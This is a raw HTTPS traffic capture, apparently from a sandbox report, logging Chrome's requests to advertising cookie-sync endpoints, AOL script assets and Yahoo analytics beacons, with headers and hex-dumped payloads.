2024-05-23 22:35:07 UTC	659	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 231 Content-Type: text/html;charset=UTF-8 Set-Cookie: data-o=e76223d5-0ccf-44a1-8261-d9c1c88ec58a~~8;Expires=Thu, 22 May 2025 22:35:07 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Thu, 23 May 2024 22:35:07 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Thu, 23 May 2024 22:35:07 GMT Connection: close
2024-05-23 22:35:07 UTC	150	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 69 66 20 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 69 6e 64 65 78 4f 66 28 22 69 73 48 74 6d 6c 3d 31 22 29 20 21 3d 3d 20 2d 31 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 74 6f 70 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 22 74 79 70 65 22 3a 22 63 6b 73 79 6e 63 22 2c 22 6e 61 6d 65 22 3a 22 Data Ascii: <!DOCTYPE html><html><head><script>if (window.location.href.indexOf("isHtml=1") !== -1) { window.top.postMessage({"type":"cksync","name":"
2024-05-23 22:35:07 UTC	81	IN	Data Raw: 22 2c 22 6f 76 73 69 64 22 3a 22 22 7d 2c 20 27 2a 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii: ","ovsid":""}, '*'); } </script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
510	192.168.2.6	50329	54.170.121.32	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	751	OUT	GET /sync?pn_id=rc&id=LWJTZABN-X-K4PW HTTP/1.1 Host: ads.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.yieldmo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; re_sync=pp%3D1192856%7Crc%3D1192856%7Cc%3D1192856%7Cdv360%3D1192856%7Can%3D1192856
2024-05-23 22:35:07 UTC	770	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:07 GMT Content-Type: image/gif;charset=utf-8 Content-Length: 43 Connection: close Set-Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:07 GMT; Domain=yieldmo.com; Path=/; Secure; SameSite=None Set-Cookie: ptrrc=LWJTZABN-X-K4PW; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:07 GMT; Domain=ads.yieldmo.com; Path=/; Secure; SameSite=None Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Cache-Control, Pragma, * Access-Control-Allow-Methods: POST, GET, OPTIONS Pragma: no-cache Accept-CH: Sec-CH-UA,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile
2024-05-23 22:35:07 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
511	192.168.2.6	50322	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	669	OUT	GET /usersync?b=mag&i=LWJTZABN-X-K4PW HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:07 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:07 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:35:07 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
512	192.168.2.6	50330	95.101.148.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:07 UTC	789	OUT	GET /cksync.php?cs=8&vsid=3595052986404735000V10&type=son&refUrl=&vid=65037015853595052986404735000V10&axid_e=&ovsid=3e69915a-aa81-453c-8be6-621af7150f41 HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3595052986404735000V10
2024-05-23 22:35:07 UTC	645	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-so=3e69915a-aa81-453c-8be6-621af7150f41~~8;Expires=Thu, 20 Jun 2024 22:35:07 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Thu, 23 May 2024 22:35:07 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Thu, 23 May 2024 22:35:07 GMT Connection: close
2024-05-23 22:35:07 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-05-23 22:35:07 UTC	14	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
513	192.168.2.6	50333	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:07 UTC	571	OUT	GET /psstatic/aolhelp-prod/18.5.53/assets/js/vendor/swipe-2.0.min.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:07 UTC	861	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 197316 Content-Type: application/javascript Date: Thu, 23 May 2024 22:35:07 GMT Etag: "ea2d60094af73e790a5b57a0c4e3ff76" Last-Modified: Mon, 06 May 2024 22:01:34 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35DE) Vary: Accept-Encoding x-amz-id-2: 91JETPFI2M9Iv7cZVEyQ7TRwFU+GucDzbzqCb5gWzK4siU9DQLhieMD2S2lSHdWYHYfHxdgwCyU= x-amz-request-id: 5YSY01XS2QVMR3K8 x-amz-server-side-encryption: AES256 X-Cache: HIT Content-Length: 4493 Connection: close
2024-05-23 22:35:07 UTC	4493	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 53 77 69 70 65 28 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 68 3d 45 2e 63 68 69 6c 64 72 65 6e 2c 77 3d 41 72 72 61 79 28 68 2e 6c 65 6e 67 74 68 29 2c 6d 3d 74 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 2e 77 69 64 74 68 7c 7c 74 2e 6f 66 66 73 65 74 57 69 64 74 68 2c 45 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 68 2e 6c 65 6e 67 74 68 2a 6d 2b 22 70 78 22 3b 66 6f 72 28 76 61 72 20 6e 3d 68 2e 6c 65 6e 67 74 68 3b 6e 2d 2d 3b 29 7b 76 61 72 20 65 3d 68 5b 6e 5d 3b 65 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 6d 2b 22 70 78 22 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 69 6e 64 65 78 22 2c 6e 29 2c 66 2e 74 72 61 6e 73 69 74 69 6f Data Ascii: function Swipe(t,n){"use strict";function e(){h=E.children,w=Array(h.length),m=t.getBoundingClientRect().width\|\|t.offsetWidth,E.style.width=h.length*m+"px";for(var n=h.length;n--;){var e=h[n];e.style.width=m+"px",e.setAttribute("data-index",n),f.transitio

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
514	192.168.2.6	50324	35.214.149.91	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:07 UTC	716	OUT	GET /sync?dsp_id=70&user_id=8785666810998501200&ssp=triplelift HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=ad3998d2-fd62-4225-919d-66f459efadb2; c=1716503696; tuuid_lu=1716503699
2024-05-23 22:35:07 UTC	542	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 23 May 2024 22:35:07 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //eb2.3lift.com/xuid?mid=2409&xuid=ad3998d2-fd62-4225-919d-66f459efadb2&dongle=d3d3&gdpr=&gdpr_consent=&gdpr_pd= Set-Cookie: custom_data=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: bsw_origin_init=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
515	192.168.2.6	50337	198.47.127.19	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:07 UTC	1790	OUT	GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=9886857&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; SPugT=1716503705; chkChromeAb67Sec=3; pi=133799:4; SyncRTB3=1717286400%3A63%7C1719014400%3A203%7C1717632000%3A22_166_13_264_21_56_251_55_54_46_165_220_266_8_234_71_254_3_214_233%7C1717027200%3A2_15_223%7C1721606400%3A69%7C1717718400%3A35; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7 [TRUNCATED]
2024-05-23 22:35:07 UTC	886	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=4; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: pi=0:3; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Set-Cookie: SyncRTB3=1717632000%3A165_220_161_234_71_214_88_13_21_46_8_266_254_56_54_238_99_243_22_166_264_251_249_81_55_3_233_176%7C1717027200%3A223_15_2%7C1721606400%3A69%7C1717286400%3A63%7C1719014400%3A203%7C1717718400%3A35; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Date: Thu, 23 May 2024 22:35:07 GMT Content-Length: 1260 Connection: close
2024-05-23 22:35:07 UTC	1260	IN	Data Raw: 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 66 72 61 6d 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 61 64 2e 6d 72 74 6e 73 76 72 2e 63 6f 6d 2f 73 79 6e 63 2f 70 75 62 6d 61 74 69 63 3f 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 27 29 3b 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 62 79 2e 62 69 64 74 68 65 61 74 72 65 2e 63 6f 6d 2f 70 75 62 6d 61 74 69 63 6d 61 74 63 68 3f 72 65 64 69 72 3d 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 4d 77 4e 6a 49 6d 64 47 77 Data Ascii: PubMatic.loadAsyncIframePixel('https://ad.mrtnsvr.com/sync/pubmatic?gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://match.adsby.bidtheatre.com/pubmaticmatch?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNjImdGw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
516	192.168.2.6	50342	151.101.2.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:07 UTC	1363	OUT	GET /license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjYzRfMzQ4NWVmODQwMDIyYjVmMGZkMmUyMGIzZWEzMjYzZTNjYWZmOWZjMjIyOTcyYWFmNjUwZDY3NTM5MjNiNzZhMQ%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://s.yimg.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:07 UTC	570	IN	HTTP/1.1 200 OK Connection: close Content-Length: 16 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Bcov-Jwt-Validity: success Bcov-Request-Id: 1c95b22c-2e2b-48df-b4eb-3e7d222fafb2 Cache-Control: private, max-age=136 Content-Type: application/octet-stream X-Hosted-On: Gantry X-Powered-By: BC X-Powered-From: us-east-1b Accept-Ranges: bytes Date: Thu, 23 May 2024 22:35:07 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890032-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1716503707.476144,VS0,VE98 X-Device-Group: desktop-chrome
2024-05-23 22:35:07 UTC	16	IN	Data Raw: d3 fa 67 b1 7f 8e d3 fb e7 62 f7 97 bd 9c 04 e1 Data Ascii: gb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
517	192.168.2.6	50339	198.47.127.205	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:07 UTC	1857	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNTQmdGw9NDMyMDA%3D&piggybackCookie=VmE3357sx_5fBlXS5aQvRPDoXLvjgOaSpguvq4YkHhU&pi=pubmatic&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; SPugT=1716503705; chkChromeAb67Sec=3; pi=133799:4; SyncRTB3=1717286400%3A63%7C1719014400%3A203%7C1717632000%3A22_166_13_264_21_56_251_55_54_46_165_220_266_8_234_71_254_3_214_233%7C1717027200%3A2_15_223%7C1721606400%3A69%7C1717718400%3A35; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7 [TRUNCATED]
2024-05-23 22:35:07 UTC	773	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:07 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_632=23041-VmE3357sx_5fBlXS5aQvRPDoXLvjgOaSpguvq4YkHhU&KRTB&23047-VmE3357sx_5fBlXS5aQvRPDoXLvjgOaSpguvq4YkHhU&KRTB&23234-VmE3357sx_5fBlXS5aQvRPDoXLvjgOaSpguvq4YkHhU&KRTB&23361-VmE3357sx_5fBlXS5aQvRPDoXLvjgOaSpguvq4YkHhU; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:07 GMT; path=/ Set-Cookie: PugT=1716503707; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:07 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:07 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
518	192.168.2.6	50335	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:07 UTC	1592	OUT	POST /p?s=1197805788&t=zJ1mmMi1Y0VQ1WqR,0.2209165772824888&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03document.visibilitychange%04A_prets%031716503703%04A_prems%03992%04_E%03dwell%04_ts%031716503705%04_ms%03866%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:07 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:07 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:07 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:07 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
519	192.168.2.6	50338	198.47.127.19	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
